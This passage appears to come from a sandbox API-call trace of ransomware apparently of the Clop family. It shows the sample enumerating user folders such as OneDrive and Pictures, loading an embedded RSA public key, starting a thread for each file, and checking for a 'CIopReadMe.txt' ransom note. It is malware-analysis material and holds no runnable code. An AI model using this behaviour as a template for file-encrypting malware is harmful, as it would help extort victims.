param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\") returned 53 [0097.000] Sleep (dwMilliseconds=0xd) [0097.028] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0097.028] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="zdZ3oJ-bfmJu.wav" | out: lpString1="zdZ3oJ-bfmJu.wav") returned="zdZ3oJ-bfmJu.wav" [0097.028] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" [0097.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508 [0097.028] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0xffffffff) returned 0x0 [0097.030] SetErrorMode (uMode=0x1) returned 0x1 [0097.030] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt") returned 63 [0097.030] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\nethood\\zzakb_at-x eadqbsw\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0097.030] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0097.030] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0097.030] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0097.030] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0097.030] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0097.030] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\nethood\\zzakb_at-x eadqbsw\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.030] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0097.030] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0097.030] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0097.030] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0097.031] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*" [0097.031] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0097.031] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0097.031] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0097.031] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0097.031] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0097.031] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0097.031] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0097.031] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0097.031] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0097.031] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0097.031] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0097.031] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0097.031] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0097.031] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0097.031] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0097.031] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0097.031] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0097.031] lstrcmpW (lpString1="OneDrive", lpString2="..") returned 1 [0097.031] lstrcmpW (lpString1="OneDrive", lpString2=".") returned 1 [0097.031] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0097.031] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0097.031] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0097.031] SetErrorMode (uMode=0x1) returned 0x1 [0097.031] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0097.031] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" [0097.031] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" [0097.031] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*" [0097.031] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x6491f8 [0097.031] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="OneDrive" [0097.031] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="OneDrive" | out: lpString1="OneDrive") returned="OneDrive" [0097.032] FindNextFileW (in: hFindFile=0x6491f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0097.032] FindNextFileW (in: hFindFile=0x6491f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0097.032] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0097.032] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0097.032] lstrlenW (lpString="desktop.ini") returned 11 [0097.032] FindNextFileW (in: hFindFile=0x6491f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0097.032] FindClose (in: hFindFile=0x6491f8 | out: hFindFile=0x6491f8) returned 1 [0097.032] FindClose (in: hFindFile=0x6491f8 | out: hFindFile=0x6491f8) returned 0 [0097.032] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0097.032] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*" [0097.032] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x649578 [0097.032] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="OneDrive" [0097.032] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="OneDrive" | out: lpString1="OneDrive") returned="OneDrive" [0097.032] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0097.032] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.032] FindNextFileW (in: hFindFile=0x649578, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0097.032] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0097.032] FindNextFileW (in: hFindFile=0x649578, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0097.032] FindNextFileW (in: hFindFile=0x649578, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0097.032] FindClose (in: hFindFile=0x649578 | out: hFindFile=0x649578) returned 1 [0097.032] FindClose (in: hFindFile=0x649578 | out: hFindFile=0x649578) returned 0 [0097.033] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0097.033] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0097.033] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0097.033] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0097.033] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0097.033] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0097.033] SetErrorMode (uMode=0x1) returned 0x1 [0097.033] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0097.033] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0097.033] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0097.033] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*" [0097.033] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x649178 [0097.033] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="Pictures" [0097.033] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0097.033] FindNextFileW (in: hFindFile=0x649178, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0097.033] FindNextFileW (in: hFindFile=0x649178, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0097.033] FindNextFileW (in: hFindFile=0x649178, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0097.033] FindNextFileW (in: hFindFile=0x649178, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0097.033] FindNextFileW (in: hFindFile=0x649178, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0097.033] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0097.033] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0097.033] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0097.033] FindNextFileW (in: hFindFile=0x649178, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0097.033] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0097.033] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0097.033] lstrlenW (lpString="desktop.ini") returned 11 [0097.033] FindNextFileW (in: hFindFile=0x649178, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0097.033] lstrcmpW (lpString1="MgyGAvvq5w6fl7AR1Hfa.bmp", lpString2="..") returned 1 [0097.033] lstrcmpW (lpString1="MgyGAvvq5w6fl7AR1Hfa.bmp", lpString2=".") returned 1 [0097.033] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned 35 [0097.033] Sleep (dwMilliseconds=0xd) [0097.059] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0097.059] lstrcpyW (in: lpString1=0x2dc93de, lpString2="MgyGAvvq5w6fl7AR1Hfa.bmp" | out: lpString1="MgyGAvvq5w6fl7AR1Hfa.bmp") returned="MgyGAvvq5w6fl7AR1Hfa.bmp" [0097.059] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0097.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500 [0097.060] WaitForSingleObject (hHandle=0x500, dwMilliseconds=0xffffffff) returned 0x0 [0097.117] SetErrorMode (uMode=0x1) returned 0x1 [0097.117] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\CIopReadMe.txt") returned 45 [0097.117] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0097.118] CloseHandle (hObject=0x50c) returned 1 [0097.118] FindNextFileW (in: hFindFile=0x649178, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0097.118] lstrcmpW (lpString1="qp-3yc7D3FrGiW.jpg", lpString2="..") returned 1 [0097.118] lstrcmpW (lpString1="qp-3yc7D3FrGiW.jpg", lpString2=".") returned 1 [0097.118] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned 35 [0097.118] Sleep (dwMilliseconds=0xd) [0097.137] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0097.137] lstrcpyW (in: lpString1=0x2dc93de, lpString2="qp-3yc7D3FrGiW.jpg" | out: lpString1="qp-3yc7D3FrGiW.jpg") returned="qp-3yc7D3FrGiW.jpg" [0097.137] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0097.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c [0097.138] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0097.173] SetErrorMode (uMode=0x1) returned 0x1 [0097.173] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\CIopReadMe.txt") returned 45 [0097.173] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0097.173] CloseHandle (hObject=0x4f8) returned 1 [0097.173] FindNextFileW (in: hFindFile=0x649178, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0097.173] FindNextFileW (in: hFindFile=0x649178, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0097.173] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png", lpString2="..") returned 1 [0097.173] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png", lpString2=".") returned 1 [0097.173] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned 35 [0097.173] Sleep (dwMilliseconds=0xd) [0097.200] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0097.200] lstrcpyW (in: lpString1=0x2dc93de, lpString2="vxT7Wz-UZ XFfNDp.png" | out: lpString1="vxT7Wz-UZ XFfNDp.png") returned="vxT7Wz-UZ XFfNDp.png" [0097.200] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0097.200] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0097.201] SetErrorMode (uMode=0x1) returned 0x1 [0097.201] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\CIopReadMe.txt") returned 45 [0097.201] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0097.201] CloseHandle (hObject=0x514) returned 1 [0097.201] FindNextFileW (in: hFindFile=0x649178, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0097.201] FindClose (in: hFindFile=0x649178 | out: hFindFile=0x649178) returned 1 [0097.201] FindClose (in: hFindFile=0x649178 | out: hFindFile=0x649178) returned 0 [0097.201] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0097.201] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*" [0097.201] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x648ef8 [0097.201] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="Pictures" [0097.201] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0097.201] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0097.201] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.202] FindNextFileW (in: hFindFile=0x648ef8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0097.202] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0097.202] FindNextFileW (in: hFindFile=0x648ef8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0097.202] lstrcmpW (lpString1="7B iYIRm", lpString2="..") returned 1 [0097.202] lstrcmpW (lpString1="7B iYIRm", lpString2=".") returned 1 [0097.202] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0097.202] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") 